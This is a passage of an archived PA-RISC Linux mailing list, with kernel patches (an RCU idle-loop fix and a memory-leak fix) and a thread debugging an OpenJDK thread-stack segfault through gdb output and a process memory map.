	peterz@infradead.org, rostedt@goodmis.org, Valdis.Kletnieks@vt.edu,
	dhowells@redhat.com, eric.dumazet@gmail.com, darren@dvhart.com,
	fweisbec@gmail.com, sbw@mit.edu, patches@linaro.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	"3.2.x.." <stable@vger.kernel.org>
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 01 02:03:35 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1T7bBW-0001w3-TU
	for glk-linux-kernel-3@plane.gmane.org; Sat, 01 Sep 2012 02:03:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755397Ab2IAADZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 31 Aug 2012 20:03:25 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:33163 "EHLO
	relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755256Ab2IAADX (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 31 Aug 2012 20:03:23 -0400
X-Originating-IP: 217.70.178.144
Original-Received: from mfilter16-d.gandi.net (mfilter16-d.gandi.net [217.70.178.144])
	by relay4-d.mail.gandi.net (Postfix) with ESMTP id 25E39172070;
	Sat,  1 Sep 2012 02:03:23 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at mfilter16-d.gandi.net
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196])
	by mfilter16-d.gandi.net (mfilter16-d.gandi.net [10.0.15.180]) (amavisd-new, port 10024)
	with ESMTP id EdF37Z7vbSwD; Sat,  1 Sep 2012 02:03:21 +0200 (CEST)
X-Originating-IP: 173.246.103.110
Original-Received: from jtriplet-mobl1 (joshtriplett.org [173.246.103.110])
	(Authenticated sender: josh@joshtriplett.org)
	by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id A630E17207C;
	Sat,  1 Sep 2012 02:03:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1346360743-3628-23-git-send-email-paulmck@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1351619 gmane.linux.ports.parisc:4564 gmane.linux.kernel.stable:30482
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1351619>

On Thu, Aug 30, 2012 at 02:05:40PM -0700, Paul E. McKenney wrote:
> From: Frederic Weisbecker <fweisbec@gmail.com>
> 
> In the old times, the whole idle task was considered
> as an RCU quiescent state. But as RCU became more and
> more successful overtime, some RCU read side critical
> section have been added even in the code of some
> architectures idle tasks, for tracing for example.
> 
> So nowadays, rcu_idle_enter() and rcu_idle_exit() must
> be called by the architecture to tell RCU about the part
> in the idle loop that doesn't make use of rcu read side
> critical sections, typically the part that puts the CPU
> in low power mode.
> 
> This is necessary for RCU to find the quiescent states in
> idle in order to complete grace periods.
> 
> Add this missing pair of calls in the parisc's idle loop.
> 
> Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
> Cc: James E.J. Bottomley <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Parisc <linux-parisc@vger.kernel.org>
> Cc: 3.2.x.. <stable@vger.kernel.org>
> Cc: Paul E. McKenney <paulmck@linux.vnet.ibm.com>

Reviewed-by: Josh Triplett <josh@joshtriplett.org>

>  arch/parisc/kernel/process.c |    3 +++
>  1 files changed, 3 insertions(+), 0 deletions(-)
> 
> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> index d4b94b3..c54a4db 100644
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -48,6 +48,7 @@
>  #include <linux/unistd.h>
>  #include <linux/kallsyms.h>
>  #include <linux/uaccess.h>
> +#include <linux/rcupdate.h>
>  
>  #include <asm/io.h>
>  #include <asm/asm-offsets.h>
> @@ -69,8 +70,10 @@ void cpu_idle(void)
>  
>  	/* endless idle loop with no priority at all */
>  	while (1) {
> +		rcu_idle_enter();
>  		while (!need_resched())
>  			barrier();
> +		rcu_idle_exit();
>  		schedule_preempt_disabled();
>  		check_pgt_cache();
>  	}
> -- 
> 1.7.8
> 

From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wei Yongjun <weiyj.lk@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix possible memory leak in pat_query_module()
Date: Sun, 2 Sep 2012 22:23:59 +0800
Lines: 39
Approved: news@gmane.org
Message-ID: <CAPgLHd-Ewsr7vUC9hrwEd-g4+Py2zMJyb+cr3wiu2+cOanYwOA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1346595843 26738 80.91.229.3 (2 Sep 2012 14:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Sep 2012 14:24:03 +0000 (UTC)
Cc: yongjun_wei@trendmicro.com.cn, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 02 16:24:04 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T8B5n-0006Mx-6T
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Sep 2012 16:24:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753618Ab2IBOYA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Sep 2012 10:24:00 -0400
Original-Received: from mail-qa0-f46.google.com ([209.85.216.46]:61160 "EHLO
	mail-qa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753502Ab2IBOX7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Sep 2012 10:23:59 -0400
Original-Received: by qaas11 with SMTP id s11so1821519qaa.19
        for <linux-parisc@vger.kernel.org>; Sun, 02 Sep 2012 07:23:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:cc:content-type;
        bh=KefXC6YFGim3LOYq/pGC4XzWx8fsZfYYoDpS55/TOzE=;
        b=mNWq8oZJFG3i/m7Ann7mqLBZ323ApjAtg14Wq1W+cv2a4sYtmtDUoHLwjhK62LXQCz
         1TzRJcPxM2RRv8ahe/Qf9Tpw/Maw32ukOc2cnTIDrzfT8mZ0AYpXVk61XHqpQK9vxuJb
         OXPBenlNHVrUf+dfjbYqRdjAhqvI+IS1DFngPtMZT907mY34rlM4zuLIRC8W//q6uXo9
         qa3w29ObeAa/VZXDOs/Yq8nmNAA3/lKiUbaIFgXKAJqeFbPuXMXdVe3tNRZ4DTKHFhiu
         Xr1D4JASRqR98ENiQ3Fn4uP+KiQfeUTPySSQyO77wDqvZcSNgTmEQWN4WMk/39x4pUPy
         my5w==
Original-Received: by 10.224.196.132 with SMTP id eg4mr29650839qab.93.1346595839039;
 Sun, 02 Sep 2012 07:23:59 -0700 (PDT)
Original-Received: by 10.229.146.194 with HTTP; Sun, 2 Sep 2012 07:23:59 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4565>

From: Wei Yongjun <yongjun_wei@trendmicro.com.cn>

pa_pdc_cell has been allocated in this function and so should be
freed before leaving from the error handling cases.

spatch with a semantic match is used to found this problem.
(http://coccinelle.lip6.fr/)

Signed-off-by: Wei Yongjun <yongjun_wei@trendmicro.com.cn>
---
 arch/parisc/kernel/inventory.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index 08324aa..3295ef4 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -186,12 +186,14 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	if (status != PDC_OK) {
 		/* no more cell modules or error */
+		kfree(pa_pdc_cell);
 		return status;
 	}
 
 	temp = pa_pdc_cell->cba;
 	dev = alloc_pa_dev(PAT_GET_CBA(temp), &(pa_pdc_cell->mod_path));
 	if (!dev) {
+		kfree(pa_pdc_cell);
 		return PDC_OK;
 	}
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Thread stack allocation
Date: Sun, 9 Sep 2012 13:52:08 -0400
Lines: 228
Approved: news@gmane.org
Message-ID: <BLU0-SMTP405E1823EA93DF4FBFC1797AD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1347213149 16567 80.91.229.3 (9 Sep 2012 17:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Sep 2012 17:52:29 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 09 19:52:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TAlgM-0000EF-QA
	for glpp-linux-parisc@plane.gmane.org; Sun, 09 Sep 2012 19:52:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754180Ab2IIRw1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Sep 2012 13:52:27 -0400
Original-Received: from blu0-omc4-s25.blu0.hotmail.com ([65.55.111.164]:4713 "EHLO
	blu0-omc4-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754140Ab2IIRw0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Sep 2012 13:52:26 -0400
Original-Received: from BLU0-SMTP4 ([65.55.111.137]) by blu0-omc4-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Sep 2012 10:52:25 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [DvLvrFolKM7EMDjoH3I0WpyCacN32sLj]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP4.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Sep 2012 10:52:24 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Sep 2012 17:52:24.0987 (UTC) FILETIME=[DEAE56B0:01CD8EB3]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4567>

Hi Carlos,

This weekend I decided to try build openjdk-6-6b24-1.11.4.  After a  
bit of hacking
to configure, I researched a point where the build fails with a  
segmentation fault:

/bin/sh: line 6: 27423 Segmentation fault      (core dumped) /home/ 
dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/bootstrap/jdk1.6.0/ 
bin/java -version
/home/dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/bootstrap/ 
jdk1.6.0/bin/java cannot be found or is corrupted.

The program fails here:
Program received signal SIGSEGV, Segmentation fault.
0x40ae4868 in ClassLoader::load_zip_library ()
     at /home/dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/ 
openjdk-ecj/hotspot/src/share/vm/classfile/classLoader.cpp:599
599	void ClassLoader::load_zip_library() {
(gdb) p/x $sp
$12 = 0x40755a40

(gdb) disass $pc-16,$pc+16
Dump of assembler code from 0x40ae4858 to 0x40ae4878:
    0x40ae4858 <ClassLoader::print_bootclasspath()+188>:	ldw,mb  
-80(sp),r7
    0x40ae485c <ClassLoader::print_bootclasspath()+192>:	nop
    0x40ae4860 <ClassLoader::load_zip_library()+0>:	stw rp,-14(sp)
    0x40ae4864 <ClassLoader::load_zip_library()+4>:	ldo 1480(sp),sp
=> 0x40ae4868 <ClassLoader::load_zip_library()+8>:	stw r4,-68(sp)
    0x40ae486c <ClassLoader::load_zip_library()+12>:	stw r19,-20(sp)
    0x40ae4870 <ClassLoader::load_zip_library()+16>:	stw r7,-74(sp)
    0x40ae4874 <ClassLoader::load_zip_library()+20>:	stw r6,-70(sp)
End of assembler dump.
(gdb) p/x $sp-0x68
$20 = 0x407559d8

(gdb) bt
#0  0x40ae4868 in ClassLoader::load_zip_library ()
     at /home/dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/ 
openjdk-ecj/hotspot/src/share/vm/classfile/classLoader.cpp:599
#1  0x40ae6928 in ClassLoader::initialize ()
     at /home/dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/ 
openjdk-ecj/hotspot/src/share/vm/classfile/classLoader.cpp:1019
#2  0x40bb4060 in init_globals ()
     at /home/dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/ 
openjdk-ecj/hotspot/src/share/vm/runtime/init.cpp:94
#3  0x40d85044 in Threads::create_vm (args=<optimized out>,
     canTryAgain=0x407542c8)
     at /home/dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/ 
openjdk-ecj/hotspot/src/share/vm/runtime/thread.cpp:3092

When the thread is initially entered, we have:
[New Thread 0x408d3480 (LWP 22180)]
[Switching to Thread 0x408d3480 (LWP 22180)]

Breakpoint 1, Threads::create_vm (args=<optimized out>,  
canTryAgain=0x407542c8)
     at /home/dave/debian/openjdk-6/openjdk-6-6b24-1.11.4/build/ 
openjdk-ecj/hotspot/src/share/vm/runtime/thread.cpp:3092
3092	  jint status = init_globals();
(gdb) p/x $sp
$26 = 0x407544c0

The thread is created in this bit of code:
int
ContinueInNewThread(int (JNICALL *continuation)(void *), jlong  
stack_size, void * args, int ret) {
     int rslt;
#ifdef __linux__
     pthread_t tid;
     pthread_attr_t attr;
     pthread_attr_init(&attr);
     pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);

     if (stack_size > 0) {
       pthread_attr_setstacksize(&attr, stack_size);
     }

     if (pthread_create(&tid, &attr, (void *(*)(void*))continuation,  
(void*)args) == 0) {
       void * tmp;
       pthread_join(tid, &tmp);
       rslt = (int)tmp;

in "openjdk-ecj/jdk/src/solaris/bin/java_md.c".

The stack_size value is 0x180000 (1572864).  I checked that  
pthread_attr_setstacksize
is called and doesn't fail.  However, pthread_create only allocates a  
stack with PTHREAD_STACK_MIN
(16384) bytes:
dave@mx3210:/proc/21515$ cat maps
00010000-00019000 r-xp 00000000 08:07  
385654                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/bin/java
00019000-0001a000 rwxp 00009000 08:07  
385654                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/bin/java
0001a000-0003b000 rwxp 00000000 00:00  
0                                  [heap]
40000000-40010000 rw-p 00000000 00:00 0
40010000-40011000 r--p 00000000 00:00 0
40011000-40014000 rw-p 00000000 00:00 0
40145000-4015b000 r-xp 00000000 08:05  
153472                             /usr/lib/hppa-linux-gnu/libz.so.1.2.6
4015b000-4015c000 rwxp 00016000 08:05  
153472                             /usr/lib/hppa-linux-gnu/libz.so.1.2.6
401de000-401ff000 r-xp 00000000 08:05  
112978                             /lib/hppa-linux-gnu/ld-2.13.so
401ff000-40203000 rwxp 00021000 08:05  
112978                             /lib/hppa-linux-gnu/ld-2.13.so
402ab000-402bb000 r-xp 00000000 08:05  
24345                              /lib/hppa-linux-gnu/libgcc_s.so.4
402bb000-402bc000 rwxp 00010000 08:05  
24345                              /lib/hppa-linux-gnu/libgcc_s.so.4
402c8000-402d5000 r-xp 00000000 08:07  
346778                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/libverify.so
402d5000-402d6000 rwxp 0000d000 08:07  
346778                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/libverify.so
40315000-4031d000 r-xp 00000000 08:05  
112976                             /lib/hppa-linux-gnu/ 
libnss_compat-2.13.so
4031d000-4031e000 rwxp 00008000 08:05  
112976                             /lib/hppa-linux-gnu/ 
libnss_compat-2.13.so
4034e000-40352000 r-xp 00000000 08:07  
384388                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/jli/libjli.so
40352000-40353000 rwxp 00004000 08:07  
384388                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/jli/libjli.so
4036e000-40385000 r-xp 00000000 08:05  
112967                             /lib/hppa-linux-gnu/libnsl-2.13.so
40385000-40386000 rwxp 00017000 08:05  
112967                             /lib/hppa-linux-gnu/libnsl-2.13.so
40386000-40389000 rwxp 00000000 00:00 0
403e8000-403f0000 r-xp 00000000 08:05  
113001                             /lib/hppa-linux-gnu/librt-2.13.so
403f0000-403f1000 rwxp 00008000 08:05  
113001                             /lib/hppa-linux-gnu/librt-2.13.so
403f5000-40412000 r-xp 00000000 08:05  
112947                             /lib/hppa-linux-gnu/ 
libpthread-2.13.so
40412000-40413000 rwxp 0001d000 08:05  
112947                             /lib/hppa-linux-gnu/ 
libpthread-2.13.so
40413000-40415000 rwxp 00000000 00:00 0
404d8000-40557000 r-xp 00000000 08:05  
112997                             /lib/hppa-linux-gnu/libm-2.13.so
40557000-4055a000 rwxp 0007f000 08:05  
112997                             /lib/hppa-linux-gnu/libm-2.13.so
405e5000-405e8000 r-xp 00000000 08:05  
112993                             /lib/hppa-linux-gnu/libdl-2.13.so
405e8000-405e9000 rwxp 00003000 08:05  
112993                             /lib/hppa-linux-gnu/libdl-2.13.so
405eb000-4074b000 r-xp 00000000 08:05  
112951                             /lib/hppa-linux-gnu/libc-2.13.so
4074b000-40751000 rwxp 00160000 08:05  
112951                             /lib/hppa-linux-gnu/libc-2.13.so
40751000-40755000 rwxp 00000000 00:00  
0                                  [stack:22180]
40755000-40758000 ---p 00000000 00:00 0
40758000-408d2000 rwxp 00000000 00:00 0
408d2000-408d3000 ---p 00000000 00:00 0
408d3000-408d4000 rwxp 00000000 00:00 0
4094b000-4097a000 r-xp 00000000 08:07  
346767                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/libjava.so
4097a000-4097d000 rwxp 0002f000 08:07  
346767                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/libjava.so
409f2000-40e4b000 r-xp 00000000 08:07  
376216                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/server/libjvm.so
40e4b000-40e78000 rwxp 00459000 08:07  
376216                             /home/dave/debian/openjdk-6/ 
openjdk-6-6b24-1.11.4/build/openjdk.build-ecj/j2sdk-image/jre/lib/ 
parisc/server/libjvm.so
40e78000-40e85000 rwxp 00000000 00:00 0
40f68000-40f73000 r-xp 00000000 08:05  
24357                              /lib/hppa-linux-gnu/ 
libnss_nis-2.13.so
40f73000-40f74000 rwxp 0000b000 08:05  
24357                              /lib/hppa-linux-gnu/ 
libnss_nis-2.13.so
41005000-4100d000 rw-s 00000000 08:05  
217840                             /tmp/hsperfdata_dave/21515
41268000-41351000 r-xp 00000000 08:05  
306529                             /usr/lib/hppa-linux-gnu/libstdc+ 
+.so.6.0.17
41351000-41358000 rwxp 000e9000 08:05  
306529                             /usr/lib/hppa-linux-gnu/libstdc+ 
+.so.6.0.17
41358000-4135f000 rwxp 00000000 00:00 0
41362000-4136f000 r-xp 00000000 08:05  
112987                             /lib/hppa-linux-gnu/ 
libnss_files-2.13.so
4136f000-41370000 rwxp 0000d000 08:05  
112987                             /lib/hppa-linux-gnu/ 
libnss_files-2.13.so
fbf00000-fbf22000 rwxp 00000000 00:00  
0                                  [stack]

This is the cause of the segv.

Thoughts?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Thread stack allocation
Date: Sun, 9 Sep 2012 16:23:57 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP91500D9B875298D4CD828597AD0@phx.gbl>
References: <BLU0-SMTP405E1823EA93DF4FBFC1797AD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1347222287 18306 80.91.229.3 (9 Sep 2012 20:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Sep 2012 20:24:47 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 09 22:24:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TAo3k-0006nZ-Mz
	for glpp-linux-parisc@plane.gmane.org; Sun, 09 Sep 2012 22:24:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754596Ab2IIUYp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Sep 2012 16:24:45 -0400
Original-Received: from [65.55.111.162] ([65.55.111.162]:8387 "EHLO
	blu0-omc4-s23.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754205Ab2IIUYo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Sep 2012 16:24:44 -0400
Original-Received: from BLU0-SMTP91 ([65.55.111.136]) by blu0-omc4-s23.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Sep 2012 13:24:14 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [14MbDcIjDTdeDDyd5J1pkXDf9BiyGiL5]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP91.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Sep 2012 13:24:13 -0700
In-Reply-To: <BLU0-SMTP405E1823EA93DF4FBFC1797AD0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Sep 2012 20:24:13.0494 (UTC) FILETIME=[13C63560:01CD8EC9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4568
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4568>

On 9-Sep-12, at 1:52 PM, John David Anglin wrote:

> 40751000-40755000 rwxp 00000000 00:00  
> 0                                  [stack:22180]


It seems to me this must be a kernel bug:
Breakpoint 13, __mmap (addr=0x0, len=1572864, prot=7, flags=18, fd=-1,
     offset=0) at ../ports/sysdeps/unix/sysv/linux/hppa/mmap.c:36
36	{
(gdb) disass
Dump of assembler code for function __mmap:
=> 0x406cd270 <+0>:	stw rp,-14(sp)
    0x406cd274 <+4>:	stw,ma r4,40(sp)
    0x406cd278 <+8>:	ldw -78(sp),r21
    0x406cd27c <+12>:	stw r19,-20(sp)
    0x406cd280 <+16>:	ldw -74(sp),r22
    0x406cd284 <+20>:	copy r19,r4
    0x406cd288 <+24>:	be,l 100(sr2,r0),sr0,r31
    0x406cd28c <+28>:	ldi 5a,r20

The return from this syscall is the above region.

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Thread stack allocation
Date: Sun, 9 Sep 2012 18:24:17 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <BLU0-SMTP297D308BBF8A72A121C16397AD0@phx.gbl>
References: <BLU0-SMTP405E1823EA93DF4FBFC1797AD0@phx.gbl> <BLU0-SMTP91500D9B875298D4CD828597AD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1347229483 3770 80.91.229.3 (9 Sep 2012 22:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Sep 2012 22:24:43 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 10 00:24:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TApvp-00035W-1w
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Sep 2012 00:24:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753441Ab2IIWYg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Sep 2012 18:24:36 -0400
Original-Received: from blu0-omc4-s6.blu0.hotmail.com ([65.55.111.145]:12406 "EHLO
	blu0-omc4-s6.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752703Ab2IIWYf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Sep 2012 18:24:35 -0400
Original-Received: from BLU0-SMTP29 ([65.55.111.137]) by blu0-omc4-s6.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Sep 2012 15:24:34 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [A6lc+UuYedhGUJG8o8OzIQ9tppAV+DjN]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP29.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Sep 2012 15:24:33 -0700
In-Reply-To: <BLU0-SMTP91500D9B875298D4CD828597AD0@phx.gbl>
